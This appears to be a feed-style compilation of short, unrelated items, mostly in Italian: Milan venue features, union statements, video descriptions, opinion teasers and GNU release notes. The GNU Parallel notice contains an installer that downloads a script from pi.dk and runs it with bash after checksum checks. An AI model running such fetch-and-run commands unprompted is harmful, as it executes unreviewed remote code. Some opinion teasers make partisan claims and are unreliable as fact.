Ogni giorno migliaia di persone attraversano Piazza Cordusio senza immaginare che, dietro lo storico edificio progettato da Luca Beltrami alla fine del XIX secolo, si trovi un elegante giardino interno immerso nella tranquillità.

Dal 2023 il palazzo ospita Palazzo Cordusio Gran Meliá, hotel cinque stelle che ha restituito alla città uno spazio per anni destinato agli uffici. Oggi il Giardino Cordusio è una delle location più raffinate dove fermarsi per un pranzo, un cocktail o un aperitivo nel cuore di Milano.

L’atmosfera firmata Swarovski

Per l’estate 2026 il giardino si rinnova completamente grazie al Café Swarovski. L’allestimento richiama l’eleganza degli anni Sessanta con colori pastello, dettagli luminosi, lampadari impreziositi da cristalli, sedute in velluto e tessuti personalizzati.

L’idea è quella di offrire un’esperienza immersiva capace di fondere design, ospitalità e cucina in una delle cornici più affascinanti del centro cittadino.

Cocktail e dolci dal tocco scenografico

Il menù include cocktail, bevande e dessert creati appositamente per questa esperienza, con una presentazione che richiama l’estetica Swarovski. Tra gli elementi più originali spicca il ghiaccio a forma di diamante, studiato per valorizzare ogni drink. Alcune proposte vengono inoltre servite sulle eleganti porcellane della collezione Swarovski x Rosenthal.

Una delle novità dell’estate a Milano

Negli ultimi anni Piazza Cordusio è diventata uno dei simboli della nuova Milano dedicata al lusso e all’ospitalità internazionale. Il Café Swarovski si inserisce perfettamente in questo contesto, proponendo un’esperienza a tempo che combina moda, design e gastronomia in una location esclusiva.

Per chi desidera vivere un aperitivo o una pausa in un luogo fuori dal comune, il giardino segreto di Palazzo Cordusio è senza dubbio una delle proposte più interessanti dell’estate milanese.

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30.000 girasoli, aperitivi immersi nel verde e natura: l’esperienza dell’estate a Milano

Chi desidera trascorrere qualche ora nella natura senza lasciare Milano ha una nuova destinazione da scoprire. All’interno di Oasi Ca’ Granda, nella zona sud della città, è stato inaugurato il Campo dei Girasoli: uno spazio circondato dal verde dove passeggiare tra oltre 30.000 girasoli, avventurarsi in un labirinto naturale e vivere un’esperienza rilassante a contatto con l’ambiente.

Situato in via Ripamonti 101, all’interno di una delle aree verdi più grandi di Milano, il nuovo campo si candida a diventare uno dei luoghi simbolo dell’estate.

Un grande polmone verde alle porte della città.

Con una superficie di oltre 45 ettari, Oasi Ca’ Granda è uno degli angoli più suggestivi del capoluogo lombardo. Al suo interno si alternano campi coltivati, risaie, orti, frutteti, aree umide e percorsi naturalistici, offrendo un paesaggio che fa dimenticare di trovarsi a pochi minuti dal centro.

L’oasi ospita inoltre numerose specie animali e rappresenta un’occasione ideale per riscoprire la ricchezza della biodiversità locale.

Un mare di girasoli e un percorso tutto da vivere.

La grande novità dell’estate 2026 è il Campo dei Girasoli, un’immensa distesa fiorita che invita grandi e piccoli a passeggiare tra i filari, rilassarsi e immortalare scorci dai colori vivaci.

Tra gli elementi più apprezzati spicca il labirinto naturale realizzato all’interno del campo, pensato per regalare un’esperienza divertente e coinvolgente a tutta la famiglia.

Completano l’allestimento aree dedicate al relax, punti panoramici e installazioni perfette per ammirare il paesaggio e scattare fotografie.

Porta a casa un girasole !

Tra le esperienze proposte c’è anche la possibilità di raccogliere un girasole e conservarlo come ricordo della visita.

Un gesto semplice che permette di vivere ancora più da vicino il legame con la natura e con il mondo agricolo.

Aperitivi al tramonto e sapori del territorio !

Il Campo dei Girasoli è anche un luogo dove trascorrere piacevoli momenti all’aria aperta.
Durante la stagione vengono organizzati aperitivi al tramonto, eventi e iniziative dedicate alla valorizzazione delle eccellenze locali.

Un’occasione per rilassarsi nel verde, gustare prodotti a chilometro zero e godersi l’atmosfera dei tramonti estivi nella campagna milanese.

Un appuntamento disponibile solo per poche settimane.

Essendo legato alla fioritura stagionale, il Campo dei Girasoli sarà aperto soltanto per un periodo limitato. Per questo gli organizzatori consigliano di prenotare con anticipo, in particolare nei weekend e nelle fasce orarie più richieste.

Tra passeggiate, fotografia, relax ed esperienze nella natura, il nuovo spazio di Oasi Ca’ Granda rappresenta un modo originale per vivere l’estate a Milano e concedersi una pausa dal ritmo della città senza dover andare lontano.

PRENOTAZIONI :
https://www.eventbrite.it/e/campo-dei-girasoli-tickets-1991905455839

Info Milano

L'articolo 30.000 girasoli, aperitivi immersi nel verde e natura: l’esperienza dell’estate a Milano proviene da InfoMilano.news.

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Il dna per ritrovare casa

I genitori, in Cina, l’hanno abbandonata appena nata, e lei viene data in adozione negli Stati Uniti. Dopo quattordici anni di ricerche, Youxue ritrova la via di casa

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B.S. AUTOTRASPORTI LIVORNO: REPRESSIONE SINDACALE, SANZIONI E MANCANZA DI CONFRONTO. CONTINUA LO STATO DI AGITAZIONE

A mesi dalle mobilitazioni culminate nei due giorni di sciopero del febbraio 2026, durante i quali lavoratori e attivisti USB sono stati minacciati di licenziamento e denuncia per i picchetti davanti alla sede aziendale, restano irrisolte le gravi criticità nell'appalto DHL di Livorno.
B.S. Autotrasporti continua a sottrarsi a un confronto serio con i lavoratori e con USB. Il dialogo con coordinatori e responsabili è spesso inesistente, rendendo impossibile affrontare i problemi che emergono quotidianamente.
USB ha proposto incontri periodici tra coordinatori e corrieri per migliorare l'organizzazione dei giri, distribuire equamente i carichi di lavoro, prevenire contestazioni disciplinari e rendere più efficiente il servizio. Una proposta che l'azienda continua a ignorare.
Ai lavoratori viene imposto il rigoroso rispetto delle procedure DHL senza garantire condizioni che consentano di operare in sicurezza, nel rispetto del Codice della Strada e delle normative vigenti. Carichi di lavoro e tempi di consegna rendono sempre più difficile rispettare contemporaneamente tutte queste prescrizioni.
Restano inoltre aperte le violazioni contrattuali: decurtazioni unilaterali di ferie e ROL per esigenze aziendali, senza il consenso dei lavoratori, e il mancato riconoscimento della maggiorazione prevista dal CCNL per il personale di magazzino impiegato il sabato.
Dopo essere stata costretta a riconoscere USB come interlocutore sindacale, l'azienda continua a mantenere un atteggiamento ostile verso i lavoratori organizzati. Contestazioni disciplinari e sanzioni vengono applicate a pioggia e con crescente severità. Si passa da pesanti decurtazioni salariali a sospensioni dal lavoro e dalla retribuzione sempre più lunghe, con un progressivo inasprimento dell'azione disciplinare che sembra preludere anche al possibile ricorso al licenziamento. Un'escalation che, in diversi casi, assume un evidente carattere intimidatorio e ritorsivo nei confronti di chi rivendica i propri diritti o partecipa all'attività sindacale.
A fronte di questi provvedimenti, l'azienda continua inoltre a non fornire documentazione che dimostri l'effettiva applicazione delle presunte penali da parte della committenza DHL, utilizzate per giustificare le sanzioni.
Persistono pressioni e intimidazioni nei confronti dei lavoratori, in particolare degli iscritti e dei delegati sindacali, in un clima incompatibile con le libertà garantite dalla Costituzione e dallo Statuto dei Lavoratori. Non si tratta di episodi isolati, ma di un quadro complessivo che sembra mirare a scoraggiare ogni forma di iniziativa collettiva.
Emerge una precisa volontà di comprimere gli spazi del conflitto sindacale, trattando l'organizzazione dei lavoratori come un ostacolo alla continuità del servizio e alla circolazione delle merci, anziché come un diritto. Quando l'attività sindacale viene ostacolata, chi sciopera viene intimidito e chi organizza la protesta viene colpito con provvedimenti disciplinari o minacciato di conseguenze ancora più gravi, non è in discussione soltanto la posizione dei singoli lavoratori, ma il diritto collettivo di organizzarsi, contrattare e costruire rapporti di forza per difendere salario e sicurezza.
Per tutte queste ragioni USB ha riaperto formalmente lo stato di agitazione dal 6 maggio. Nonostante le ripetute richieste, l'azienda continua a rifiutare un confronto effettivo e ad assumere impegni concreti per risolvere i problemi denunciati dai lavoratori.
USB continuerà a intervenire su tutti i piani, sindacale, legale e di mobilitazione, per difendere diritti, sicurezza, salario e il pieno esercizio delle libertà sindacali.
Dopo aver formalmente diffidato l'azienda, denunciamo pubblicamente questo atteggiamento e ribadiamo che non accetteremo ulteriori intimidazioni, ricatti o comportamenti discriminatori.

USB LIVORNO

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ORACOLI CALDAICI | La filosofia come risveglio dell’anima

Gli Oracoli Caldaici sono tra i testi più enigmatici della tarda antichità. Eppure, dietro il loro linguaggio simbolico e le loro immagini cosmiche, si nasconde una domanda sorprendentemente attuale: quale forma stiamo dando alla nostra esistenza? Una Scorribanda filosofica alla scoperta di un’opera che ha affascinato neoplatonici come Giamblico e Proclo, attraversando i secoli fino […]

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Documenti Segreti che Hanno Ricattato l'Italia: Calvi, Sindona, Carminati — Parte 1

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Cosa succede quando i documenti più pericolosi d'Italia scompaiono nel momento esatto in cui potrebbero distruggere chi ha il potere? Tre casi. Tre archivi spariti. Tre misteri che non sono mai stati davvero chiusi.

La notte del 16 luglio 1999, Massimo Carminati svuota 147 cassette di sicurezza nel caveau del Tribunale di Roma: non cerca denaro, cerca carte. Roberto Calvi lascia Londra con una borsa nera piena di documenti — viene trovato impiccato sotto il Blackfriars Bridge il mattino dopo. Michele Sindona costruisce la Lista dei 500, un elenco segreto di politici, industriali e militari che finisce nelle mani di Cosa Nostra come strumento di ricatto verso mezza Italia che conta.

Cosa trovi in questo video:
✔️ Il colpo di Carminati al Tribunale di Roma e il legame con Mafia Capitale
✔️ La borsa nera di Roberto Calvi e i documenti che avrebbero dovuto salvarlo
✔️ La Lista dei 500 di Sindona: chi c'era e perché è sparita
✔️ Come i documenti riservati diventano armi di ricatto nelle mani sbagliate
✔️ I tre archivi scomparsi che nessun processo ha ancora restituito
✔️ L'anteprima della Parte 2: memoriale Moro, agenda rossa Borsellino, bobine Tom Ponzi

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BAD DRIVERS OF ITALY dashcam compilation 6.29 - NO GRAZIE

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Trova la tua prossima DASHCAM https://sicurisullastrada.it/dashcam/
Dubbi o domande? Trovi qui le RISPOSTE https://sicurisullastrada.it/dashcam-5-minuti-per-sapere-tutto/
Vuoi inviarci le clip della TUA DASHCAM? Guarda come fare su https://bit.ly/inviavideo
Seguici sui canali BDOI per essere AGGIORNATO e vedere le MIGLIORI CLIP https://bit.ly/canalibdoi
Hai domande o curiosità? COMMENTA sotto al video oppure CONTATTACI https://bit.ly/contattabdoi
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This video shows DANGEROUS behaviors not to imitate! Always drive carefully!
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Do you have any questions or curiosities? COMMENT below the video or CONTACT US https://bit.ly/contattabdoi

#baddriversofitaly #dashcam #compilation
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NASA Astronaut Chris Williams Preps for Spacewalk

Flight engineer Sophie Adenot of ESA (European Space Agency) assists flight engineer Chris Williams of NASA as he tries on his spacesuit, testing its comfort and mobility as well as its communications and life support systems inside the International Space Station’s Quest airlock.

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Vivere sempre sotto pressione indebolisce il corpo: come spezzare il circolo dello stress

di Valentina Bennati comedonchisciotte.org Dalla pandemia globale dichiarata nel 2020 ai conflitti internazionali, passando per crisi economiche, tensioni sociali e un flusso continuo di notizie allarmanti, sono tante le persone che, negli ultimi anni, hanno iniziato a vivere in uno stato di tensione quasi permanente. Giorno dopo giorno siamo stati esposti a immagini, informazioni e […]

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MEK e Sionismo, come l’Albania rischia di diventare la seconda Israele

  Di Alireza Niknam   Negli ultimi anni, il nome dell’Albania è stato citato più che mai in relazione a progetti e attori stranieri. Questo piccolo Paese dei Balcani, che un tempo cercava di presentarsi come modello di stabilità e sviluppo nell’Europa sud-orientale, si trova ora a dover affrontare seri interrogativi riguardo alla propria autonomia […]

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Un ferito di Gaza racconta le ventiquattro ore trascorse sotto un albero, dove dolore, morte, memoria e speranza si sono intrecciati nella guerra

    Pensavo di sapere cosa fosse la sofferenza, finché non l’ho vissuta davvero. Quello che ho scoperto era diverso, strano e doloroso. Com’è curioso il dolore. Nonostante la sua amarezza, nonostante il nostro desiderio di starne lontani quanto l’oriente è lontano dall’occidente, quando arriva c’è in esso una certa dolcezza. Sì, dolcezza. Per molto […]

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Il Pacchetto primavera della Ue e il pacco del Governo Meloni

  Di ConiareRivolta.org   Per comprendere quale sarà l’impatto più duraturo del Governo Meloni sugli assetti economici dell’Italia, è sufficiente guardare alla recente Comunicazione della Commissione europea sul cosiddetto “Pacchetto primavera”, quell’insieme di raccomandazioni che la Commissione europea indirizza agli Stati membri dell’Unione per orientare politiche di bilancio e riforme. È il cuore della disciplina fiscale […]

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Addio a Vito Monaco, i funerali ad Abano Terme il 27 Giugno

  La Redazione di ComeDonChisciotte.org esprime le più sentite condoglianze alla famiglia, agli amici e ai colleghi del giornalista Vito Monaco, scomparso all’età di 81 anni. Monaco era volto notissimo dell’emittente tv Canale Italia.   I funerali si terranno sabato 27 giugno alle 9.30 nel Duomo di Abano Terme.       

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"Non guardare giù" - BACKFLIP SUL PONTE SOSPESO NEL VUOTO

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Superare il mio limite è sempre il mio obbiettivo ma questa volta ho superato una delle mie paure più grosse: le vertigini. Sono voluto andare su questo ponte tibetano sospeso per provare una delle imprese più pazze che ho mai fatto: backflip in mezzo al ponte!

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Nel video sono presenti inserimenti a scopo commerciale di Insta360.
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ASPA Is Live. Can You See It Working?

ASPA objects can be registered today with ARIN and RIPE NCC. Validators support RTR v2. But if you're an operator, can you actually see what ASPA is doing - or would do - on your network? We built a tool to find out.
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unifont @ Savannah: Unifont 17.0.05 Released

28 June 2026 Unifont 17.0.05 is now available.  This is a minor release aligned with Unicode 17.0.0.

This release notably includes separate BDF, PCF, and OpenType font files with Unicode T-source Chinese glyphs created by Kusanagi_Sans and Kao Chen-tung (高振東) in font files beginning with "unifont_t".  Many other Chinese glyphs have been added.  See the ChangeLog file for details.

Download this release from GNU server mirrors at:

     https://ftpmirror ... /unifont-17.0.05/

or if that fails,

     https://ftp.gnu.o ... /unifont-17.0.05/

or, as a last resort,

     ftp://ftp.gnu.org ... /unifont-17.0.05/

These files are also available on the unifoundry.com website:

     https://unifoundr ... /unifont-17.0.05/

Font files are in the subdirectory

     https://unifoundr ... 0.05/font-builds/

A more detailed description of font changes is available at

      https://unifoundr ... nifont/index.html

and of utility program changes at

      https://unifoundr ... nt-utilities.html

Information about Hangul modifications is at

      https://unifoundr ... hangul/index.html

and

      http://unifoundry ... l-generation.html

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Incido mia figlia in una sfera di cristallo - xTool F2 ULTRA UV

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Affiliazione xTool
https://www.xtool.eu/it-it/products/xtool-f2-ultra-uv-5w-uv-laser-engraver?ref=bcbapwjg&utm_medium=influencer&utm_source=goaffpro&utm_term=5029
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14:27 - Incido mia figlia dentro una sfera di cristallo
13:25 - Artwork by Riri Zaurahel https://linktr.ee/ririzaurahel
🥼SUPPORTO AL CANALE:
🪛Patreon: https://www.patreon.com/c/MVVblog
🪛Donazioni Paypal: https://www.paypal.com/donate/?hosted_button_id=LSV2ELFE5P9UW
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🪛Tutti i miei affiliati e sconti: https://mvvblog.it/sponsor
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🥼INFO, SOCIAL E CONTATTI:
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🪛SOLO per Sponsor e affiliati: mvvblogbusiness@gmail.com
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Timeline
00:00 - Introduzione e presentazione del laser xTool F2 Ultra
01:09 - Unboxing e montaggio del macchinario
03:40 - Analisi delle lenti e dei galvanometri
05:37 - Installazione del sistema di purificazione dell'aria
06:29 - Calibrazione e allineamento del laser
07:19 - Primo test di incisione su metallo e legno
08:35 - Scultura 3D e bassorilievo su legno e pietra
10:29 - Scoperchiamento di circuiti integrati (microchip)
11:39 - Incisione rotante su valvole termoioniche
13:25 - Incisione 3D all'interno di un blocco di cristallo con Riri Zaurahel
14:27 - Incido mia figlia dentro una sfera di cristallo
15:53 - Funzione di riconoscimento automatico su oggetti multipli
16:50 - Conclusioni e saluti finali
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Modelli 3D e 2D che ho creato per il video
https://drive.google.com/file/d/16NRCW1uxc5B5Mogs52M3akQE3J-PPWBu/view?usp=sharing


#xTool #xToolF2Ultra #LaserEngraving #MVVblog #IncisoreLaser #LaserUV #Elettronica #TechReview #DIY #Technologia #Unboxing #Labyrinth #adv
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Ham Radio – Treffen unter Freunden

Drei Tage lang traf sich die internationale Amateurfunk-Gemeinschaft an der Ham Radio in Friedrichshafen. Für die Schweizer YLs und OM stand das Wochenende vom 26. bis 28. Juni 2026 ganz im Zeichen des Netzwerkens: Alte Freunde treffen und neue Kontakte knüpfen prägten das Geschehen am Stand der USKA.

Der direkte Austausch stand im Mittelpunkt. Viele angereiste Funkbegeisterte nutzten die Gelegenheit, um Fachgespräche zu vertiefen und bestehende Kontakte aufzufrischen. «Der persönliche Schwatz hier in den Hallen ist wirklich etwas sehr Spezielles, vor allem, wenn man sich sonst nur über den Transceiver trifft», bilanzierte ein Schweizer Besucher am Samstagabend.

Anstossen auf den Ham-Spirit

Zu den Höhepunkten des Messeprogramms gehörten die traditionellen Apéros am Stand der USKA, die am Freitag und am Samstag stattfanden (im Bild: Apéro am Samstag). Die Resonanz war an beiden Anlässen sehr gross: Jeweils rund 200 Gäste haben miteinander auf den Ham-Spirit angestossen.

Angesichts der hohen Temperaturen an diesem Wochenend griffen die Besucher neben Wein, Orangensaft und Knabbersnacks vor allem zu einer Erfrischung: viel Wasser. Die Logistik vor Ort funktionierte reibungslos und bot den passenden Rahmen, um ungezwungen miteinander ins Gespräch zu kommen.

Rundum gelungene Messe

Nach drei intensiven Messetagen bleibt ein positives Fazit. Ein grosses Dankeschön geht an alle Teilnehmerinnen und Teilnehmer, die die Veranstaltung mit Leben gefüllt haben. Gleichzeitig verdient die Leistung der Messeleitung Anerkennung: Ein grosses Kompliment geht an die Verantwortlichen in Friedrichshafen für die Organisation einer einmal mehr rundum gelungenen Ham Radio.

Published: HB9HGH 2026-06-28 12:50:02

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parallel @ Savannah: GNU Parallel 20260622 ('Rape Gang Inquiry') released [stable]

GNU Parallel 20260622 ('Rape Gang Inquiry') has been released. It is available for download at: lbry://@GnuParallel:4

Quote of the month:

  GNU Parallel is much nicer than xargs and more powerful ... definitely recommended!
    -- boomertsfx@reddit

New in this release:

  • testsuite reorganized.
  • Bug fixes and man page updates.


GNU Parallel - For people who live life in the parallel lane.

If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.


About GNU Parallel


GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.

If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.

GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.

For example you can run this to convert all jpeg files into png and gif files and have a progress bar:

  parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif

Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:

  find . -name '*.jpg' |
    parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200

You can find more about GNU Parallel at: http://www.gnu ... rg/s/parallel/

You can install GNU Parallel in just 10 seconds with:

    $ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
       fetch -o - http://pi.dk/3 ) > install.sh
    $ sha1sum install.sh | grep c555f616391c6f7c28bf938044f4ec50
    12345678 c555f616 391c6f7c 28bf9380 44f4ec50
    $ md5sum install.sh | grep 707275363428aa9e9a136b9a7296dfe4
    70727536 3428aa9e 9a136b9a 7296dfe4
    $ sha512sum install.sh | grep b24bfe249695e0236f6bc7de85828fe1f08f4259
    83320d89 f56698ec 77454856 895edc3e aa16feab 2757966e 5092ef2d 661b8b45
    b24bfe24 9695e023 6f6bc7de 85828fe1 f08f4259 6ce5480a 5e1571b2 8b722f21
    $ bash install.sh

Watch the intro video on http://www.youtub ... L284C9FF2488BC6D1

Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.

When using programs that use GNU Parallel to process data for publication please cite:

O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/1 ... 81/zenodo.1146014.

If you like GNU Parallel:

  • Give a demo at your local user group/team/colleagues
  • Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
  • Get the merchandise https://gnuparall ... igns/gnu-parallel
  • Request or write a review for your favourite blog or magazine
  • Request or build a package for your favourite distribution (if it is not already there)
  • Invite me for your next conference


If you use programs that use GNU Parallel for research:

  • Please cite GNU Parallel in you publications (use --citation)


If GNU Parallel saves you money:



About GNU SQL


GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.

The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.

When using GNU SQL for a publication please cite:

O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.


About GNU Niceload


GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.

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Dacia Duster full hybrid, i consumi reali del Centro Prove Quattroruote

La Dacia Duster è una delle SUV di maggior successo in Italia: piace perché è un'auto di sostanza, pratica, e con un ottimo rapporto qualità prezzo. La nuova generazione, che ha debuttato nel 2024, ha adottato uno stile più moderno e personale. Anche a bordo, dove si trova un abitacolo più attento alla robustezza che ai materiali morbidi. La Duster è lunga 434 centimetri, larga 181 e alta 166, con un passo di 266 cm: buona l'abitabilità, anche per chi siede dietro. Il bagagliaio, nelle rilevazioni del Centro prove, mette a disposizione 407 litri reali. Dacia Duster Hybrid 155: motore La Dacia Duster è disponibile con diverse motorizzazioni, ma la più interessante per il mercato italiano è la full hybrid di provenienza Renault da 158 CV. Sviluppato dalla Horse Powertrain (joint venture tra Renault, Geely e Aramco), prevede un 1.8 quattro cilindri aspirato abbinato a due unità a corrente: una che dà trazione alle ruote nella marcia in elettrico (anche in supporto al motore termico), e l'altra che ricarica la batteria e gestisce il cambio multimodale. Dacia Duster Hybrid 155: consumi reali *Prezzo della benzina al 24/06/2026: 1,823 /litro Nella Prova su strada, pubblicata su Quattroruote di aprile 2026, la Dacia Duster Hybrid 155 ha ottenuto 4 stelle su 5 alla voce consumi. Il motore è capace di offrire il giusto brio e numeri contenuti, pur se non da record. Il passaggio dall'1.6 all'1.8 non ha portato vantaggi, ma le auto assetate sono altre: lo dimostrano, per esempio, i 24 km/l in città, dove però il powertrain precedente aveva fatto registrare percorrenze migliori (27,5 km/l). Progressi anche nei risultati in autostrada (13,1 km/litro anziché 12,2).&nbsp; Dacia Duster Hybrid 155: gamma e allestimenti La Dacia Duster con il motore full hybrid da 155 CV non è disponibile nell'allestimento base Essential, ma a partire da quello intermedio Expression. Di serie telecamera posteriore, cerchi di lega da 17&quot;, quadro strumenti digitale da 7&quot; e infotainment da 10&quot; (con connettività wireless per Apple CarPlay e Android Auto), sensore pioggia e quattro finestrini elettrici. La Extreme aggiunge i fendinebbia, dettagli interni in color rame, rivestimenti in Tep MicroCloud lavabile, ingresso senza chiave e barre al tetto modulari. La Journey si distingue per i cerchi da 18&quot;, il climatizzatore automatico, il navigatore connesso, l'impianto stereo Arkamys a 8 altoparlanti e la ricarica a induzione per lo smartphone. Dacia Duster Hybrid 155: prezzi Duster Hybrid 155 Expression: 26.650 euroDuster Hybrid 155 Journey: 28.200 euroDuster Hybrid 155 Extreme: 28.200 euro Consumi reali, tutte le nostre prove autoAudi Q3 Sportback TDIDacia Duster Hybrid 155Fiat 500 HybridHonda Prelude 2.0 HEVHyundai Tucson 1.6 HEVRenault Clio E-TechToyota Aygo X 115 Hybrid
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Pillole: non ti sei ammalato. Sei stato arruolato

  Di Joshua Stylman   Pillole per svegliarsi, pillole per dormire Pillole, pillole, pillole ogni giorno della settimana Pillole per camminare, pillole per pensare Pillole, pillole, pillole per la famiglia – St. Vincent   Il mondo sta impazzendo, o è solo che tutti prendono qualcosa? Mi guardo intorno e, sinceramente, non riesco più a capirlo. […]

L'articolo Pillole: non ti sei ammalato. Sei stato arruolato proviene da Come Don Chisciotte.

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La City contro la Russia? Dietro la crisi europea il ritorno dell’antica guerra tra il mare e la terra

  Di Nicola Bielli per ComeDonChisciotte.org “Britannia rules the waves” di Nicholas Habbe: Britannia – armata di lancia, elmo e scudo in rilievo con le armi reali britanniche – è seduta in una quadriga insieme a Nettuno, armata del suo tridente. Mentre l’Europa assiste all’ennesima escalation del confronto tra NATO e Russia, una domanda continua […]

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Prof. Andrea Zhok: “La cancellazione dei confini nazionali è funzionale ai grandi interessi finanziari”

    Federico Dal Cortivo per il quotidiano l’Adige di Verona ha intervistato il prof. Andrea Zhok filosofo accademico, professore di antropologia filosofica e filosofia morale presso l’Università di Milano, ricercatore e saggista. Ha curato la prefazione del saggio di Frank  Furedi,  professore di Sociologia all’Università del Kent, a Canterbury “I confini contano. Perché l’umanità deve riscoprire l’arte […]

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Stati Uniti-Iran: il cessate il fuoco di una guerra che Washington non può più sostenere

  Di Ali Ahmadi, The Cradle   L’accordo quadro che ha posto fine alla guerra del 2026 con l’Iran è stato interpretato dalla maggior parte di Washington come una concessione. I commentatori conservatori considerano il memorandum d’intesa (MoU) come una sorta di “ricompensa” concessa a un Paese che avrebbe dovuto essere lasciato a fare i […]

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La rana, lo scorpione e il mondo del dissenso

  Di Guido Cappelli   Le ultime elezioni politiche, nell’ormai lontano settembre 2022, videro la partecipazione di ben tre liste che erano espressione, in varia misura, di quell’“area del dissenso” nata e cresciuta al calor delle lotte con la follia pandemica e il mostruoso dispositivo autorizzatorio noto come green pass‒ un vulnusalla libertà civile e […]

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Euclid Sees Heart of Milky Way

This image by ESA’s (European Space Agency) Euclid (with color added using ground-based images) provides an earlier snapshot of a region of our galaxy that NASA’s Nancy Grace Roman Space Telescope will repeatedly observe during the upcoming years.

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Falsa skill elude gli scanner e a raggiunge più di 26.000 agenti AI

La rapida diffusione degli Agenti AI sta creando un ecosistema sempre più complesso nel quale modelli linguistici, strumenti esterni e componenti aggiuntivi collaborano per svolgere attività operative. Questa architettura modulare, però, sta aprendo una nuova superficie di attacco che ricorda da vicino le vulnerabilità già viste nel mondo open source e nei marketplace di applicazioni. […]

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STRAGE DI VIAREGGIO, 17 ANNI DOPO: LA CASSAZIONE CHIUDE IL CERCHIO, MA IL SISTEMA RESTA IN PIEDI

Ieri sera, 25 giugno 2026, la Quarta Sezione Penale della Corte di Cassazione ha reso definitive le condanne per la strage ferroviaria di Viareggio del 29 giugno 2009, in cui persero la vita 32 persone e oltre un centinaio rimasero ferite. Rigettati i ricorsi degli imputati, è confermata tra le altre la condanna a cinque anni per Mauro Moretti, ex amministratore delegato di Ferrovie dello Stato e RFI.

USB Toscana esprime vicinanza ai familiari delle vittime e a tutte le lavoratrici e i lavoratori ferroviari che per diciassette anni hanno tenuto viva la memoria e la battaglia per la giustizia.

Una giustizia parziale, strappata metro per metro

Questa condanna definitiva è un risultato importante, ma non cancella né le ferite di chi ha perso una persona cara, né quelle prodotte dal percorso giudiziario stesso. Nel 2021 la Cassazione aveva dichiarato prescritti i reati di omicidio colposo, non riconoscendo l'aggravante della violazione delle norme sulla sicurezza sul lavoro. Trentadue persone morte, e l'omicidio andato in prescrizione: un paradosso che rivela tutto il limite di un sistema che tutela i potenti più delle vittime. Tutte le condanne riguardano il solo reato di disastro ferroviario colposo, l'unico sopravvissuto alla ghigliottina della prescrizione. Come ricordano i familiari: la prescrizione non è un'assoluzione.

Le responsabilità sono di classe, non solo individuali

Nel processo è emersa una deliberata politica aziendale improntata al risparmio sulla sicurezza e alla massimizzazione dei profitti, con un rischio consapevolmente scaricato su lavoratori e cittadini. Quella notte non fu una fatalità: fu il frutto della ricerca del profitto a tutti i costi. I tagli al personale, la deregolamentazione della manutenzione, l'esternalizzazione a catena delle responsabilità erano il sistema. Moretti ne era il volto pubblico, non un'eccezione. Cinque anni di pena per 32 vite spezzate non è la giustizia che queste famiglie meritano. Lo ricorda bene Daniela Rombi, presidente de "Il Mondo che vorrei", che nella strage perse una figlia di ventuno anni: "Sette tribunali hanno detto che sono colpevoli e la prescrizione non è un'assoluzione. Per noi restano colpevoli anche dei reati prescritti."

La lotta deve continuare: salari, salute e sicurezza sul lavoro

Viareggio non è un caso isolato: è il punto più tragico di una linea che attraversa decenni di tagli, precarizzazione e smantellamento delle tutele. Ogni anno in Italia muoiono migliaia di lavoratrici e lavoratori, e la risposta giudiziaria arriva decenni dopo, ridotta dalla prescrizione. Non basta. USB si batte ogni giorno su tre fronti inscindibili: salari dignitosi, salute nei luoghi di lavoro, sicurezza reale — non quella scritta nei contratti e ignorata nei fatti. Lo abbiamo fatto nelle vertenze, negli scioperi contro i piani industriali che svuotano gli organici, nelle lotte di chi lavora in condizioni insicure senza voce per dirlo. La logica che ha prodotto Viareggio, il profitto prima delle persone, è la stessa che USB contrasta ogni giorno nei trasporti, nella logistica, nella scuola, nella sanità, nell'industria. Non si tratta di sicurezza come voce di bilancio: si tratta di vite umane da tutelare.

Alle famiglie che hanno lottato per diciassette anni diciamo: siete stati voi i veri protagonisti di questa storia. Noi non vi lasceremo da soli.

USB Toscana

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qmail - basic setup

Changelog

  • 25 giugno 2026
    - disponibile il ramo netqmail per utenti OpenBSD
  • 19 agosto 2025
    - netqmail-1.07.1 ora compila con gcc 15.3
  • 10 febbraio 2025
    - i sorgenti di netqmail sono ora compatibili con le nuove versioni di gcc e clang.
    - rinominati come netqmail-1.07 i vecchi sorgenti di netqmail

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BAD DRIVERS OF ITALY dashcam compilation 6.25 - FURGONE BIANCO

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Blackout sempre più frequenti: siamo davvero preparati?

Nell’aprile del 2025, la penisola Iberica con gran parte della Francia, affronta un blackout su larga scala per diverse ore, causato da un malfunzionamento della linea di distribuzione elettrica.

All’epoca parlammo già di questo episodio con un articolo ad hoc.

Quest’anno, purtroppo, è toccato al nostro paese.

Negli ultimi giorni diverse zone del Nord Italia sono rimaste improvvisamente senza energia elettrica. Guasti alle linee e cabine elettriche hanno lasciato centinaia di famiglie al buio per diverse ore. Episodi simili sono stati segnalati in numerose aree del Paese.

